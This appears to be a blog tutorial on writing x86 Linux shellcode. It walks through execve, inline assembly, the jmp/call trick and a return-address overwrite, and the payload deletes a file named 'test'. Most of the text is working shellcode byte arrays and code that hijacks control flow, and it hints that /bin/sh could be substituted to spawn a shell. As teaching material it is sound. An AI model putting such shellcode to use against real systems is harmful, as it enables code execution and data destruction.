smash the stack for fun and profit
This time I'll use execve system call to remove a file called "test".
Before started, let's see how execve works in c.
the man page of execve
#include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]);
1. the filename is the file you want to execute.
2. argv is an array of argument strings passed to the new program.
3. the last one is not important in our shellcode, so I will not explain it in detail.
Let's write a simple C program which use the execve system call.
execve_pre.c
#include <unistd.h> int main(){ char *argv[]={"/bin/rm","./test",NULL}; execve(argv[0],argv,NULL); return 0; }
compile the program and execute with the following command.
1.gcc -o exe.out execve_pre.c
2.touch test
P.S the touch command is to create a empty file.
3. ./exe.out
And you will see the "test" is being removed.
Now turn this into the inline assembly.
execve.c
char *argv[]={"/bin/rm","./test",NULL}; int main(){ __asm__("movl $0xb,%eax;\ movl argv,%ebx;\ movl $argv,%ecx;\ movl $0,%edx;\ int $0x80;\ movl $0x1,%eax;\ movl $0x0,%ebx;\ int $0x80;\ "); return 0; }
Compile and execute it.
The result is the same as the previous example.
However, as I mentioned before, I don't want the data outside the shellcode.
Therefore, I need to write the data into the shell code.
And the way I get the address of the data is still the same, the relative jmp/call trick.
The following is the code looks like:
execve2.c
int main(){ __asm__("jmp 2f;\n\ 1:;\n\ xor %eax,%eax;\n\ popl %esi;\n\ movl %esi,%ebx;\n\ leal 0x8(%esi),%esi;\n\ pushl %eax;\n\ pushl %esi;\n\ pushl %ebx;\n\ movl $0xb,%eax;\n\ movl %esp,%ecx;\n\ xorl %edx,%edx;\n\ int $0x80;\n\ movl $0x1,%eax;\n\ movl $0x0,%ebx;\n\ int $0x80;\n\ 2:;\n\ call 1b;\n\ .string \"/bin/rm\";\n\ .string \"./test\";\n\ .byte 0x0,0x0,0x0,0x0;\n\ "); return 0; }
In order to create a structure like
char *argv[]={"/bin/rm","./test",NULL};
I use the stack to store those data.1. we get the address of "/bin/rm" by the relative jmp/call trick and pop to the %esi.
2. copy the content of the %esi to %ebx.
3. leal 0x8(%esi), %esi => %esi += 8;
After the instruction, %esi now point to the "./test"
4. push 0, address of the "./test" and address of the "/bin/rm".
P.S since the stack grows down, push the parameter in reverse order. The memory layout is list in figure 1.
<figure 1>
low ------------------------------------------ high
|address of "/bin/rm"| address of "./test" | NULL
| %ebx | %esi | %eax
After doing the above steps, then I can move the parameter to the register which the int $80 need.
1. since the %ebx alrealy contains the address of the structure, there is no need to set it again.
2. movl %esp,%ecx;
store the address of the structure to the %ecx. This instruction is equal to execve(argv[0],argv,NULL);
3. xorl %edx, %edx;
store the NULL pointer to the %edx. This instruction is equal to execve(argv[0],argv,NULL);
And now it's time to compile the source code and execute it.
Use objdump to copy the machine code to the new source file. (If you have no idea how to use it see the previous post of the shell code)
execve3.c
/* This is the shellcode */ char shellcode[] = "\xeb\x22" "\x31\xc0" "\x5e" "\x89\xf3" "\x8d\x76\x08" "\x50" "\x56" "\x53" "\xb8\x0b\x00\x00\x00" "\x89\xe1" "\x31\xd2" "\xcd\x80" "\xb8\x01\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\xcd\x80" "\xe8\xd9\xff\xff\xff" "/bin/rm\x0" "./test\x0" "\x00\x00\x00\x00"; void main() { int *ret; /* overflow the return address */ ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
Compile the source code, use execstack to enable the executable stack and execute it, you will see the result is what we expected.
Actually the execve system call is very dangerous. The above is just using the /bin/rm to remove a file, what if someone use /bin/sh to create a new shell, the consequence is unpredictable.
After verified the result, let's now combine the whole code together.
All.c
/* * The inline assembly mix all the code together. * It will print a message, * wait 2 seconds and * remove a file called test. */ int main(){ __asm__("jmp 2f;\n\ 1:;\n\ popl %esi;\n\ movl %esi, %ecx;\n\ xorl %ebx, %ebx;\n\ mul %ebx;\n\ inc %ebx;\n\ movb $0x4, %al;\n\ movb $0x8, %dl;\n\ int $0x80;\n\ xorl %eax, %eax;\n\ pushl %eax;\n\ movb $0x2, %al;\n\ pushl %eax;\n\ movl %esp, %ebx;\n\ xor %ecx, %ecx;\n\ movb $0xa2, %al;\n\ int $0x80;\n\ xorl %eax, %eax;\n\ leal 0x9(%esi),%esi;\n\ pushl %eax;\n\ movl %esi, %ebx;\n\ leal 0x8(%esi), %esi;\n\ pushl %esi;\n\ pushl %ebx;\n\ movb $0xb, %al;\n\ movl %esp, %ecx;\n\ xor %edx, %edx;\n\ int $0x80;\n\ xorl %ebx, %ebx;\n\ leal 0x1(%ebx), %eax;\n\ int $0x80;\n\ 2:;\n\ call 1b;\n\ .string \"Run Han!\"\n\ .string \"/bin/rm\";\n\ .string \"./test\";\n\ .long 0x0;\n\ "); return 0; }
There is nothing much to tell of the source code. I use some instruction to reduce the code size, I will talk about reduce the code size in the next article.
And now compile the source code and use objdump to generate the shellcode.
All_shell.c
char shellcode[] = "\xeb\x39" /*relative jmp*/ "\x5e" /*pop %esi*/ "\x89\xf1" /*movl %esi, %ecx*/ "\x31\xdb" /*xor %ebx, %ebx*/ "\xf7\xe3" /*mul %ebx*/ "\x43" /*inc %ebx*/ "\xb0\x04" /*mov $0x4, %al*/ "\xb2\x08" /*mov $0x8, %dl*/ "\xcd\x80" /*int $0x80*/ "\xb0\x02" /*xor %eax, %eax*/ "\x50" /*pushl %eax*/ "\xb0\x02" /*movb $2, %al*/ "\x50" /*pushl %eax*/ "\x89\xe3" /*movl %esp, %ebx*/ "\x31\xc9" /*xor %ecx, %ecx*/ "\xb0\xa2" /*mov $0xa2, %al*/ "\xcd\x80" /*int $0x80*/ "\x31\xc0" /*xor %eax, %eax*/ "\x8d\x76\x09" /*leal 0x09(%esi),%esi*/ "\x50" /*push %eax*/ "\x89\xf3" /*mov %esi, %ebx*/ "\x8d\x76\x08" /*lea 0x8(%esi), %esi*/ "\x56" /*push %esi*/ "\x53" /*push %ebx*/ "\xb0\x0b" /*mov $0xb, %al*/ "\x89\xe1" /*mov %esp, %ecx*/ "\x8d\x51\x04" /*lea 0x4(%esp), %edx*/ "\xcd\x80" /*int $0x80*/ "\x31\xdb" /*xor %ebx, %ebx*/ "\x8d\x43\x01" /*lea 0x1(%ebx), %eax*/ "\xcd\x80" /*int $0x80*/ "\xe8\xc2\xff\xff\xff" /*relative call*/ "Run Han!\x0" "/bin/rm\x0" "./test\x0" "\x00\x00\x00\x00"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
compile it , use execstack to enable the executable stack and execute it. After that you will see the program first print a message, wait about two seconds and remove a file called "test".
No comments:
Post a Comment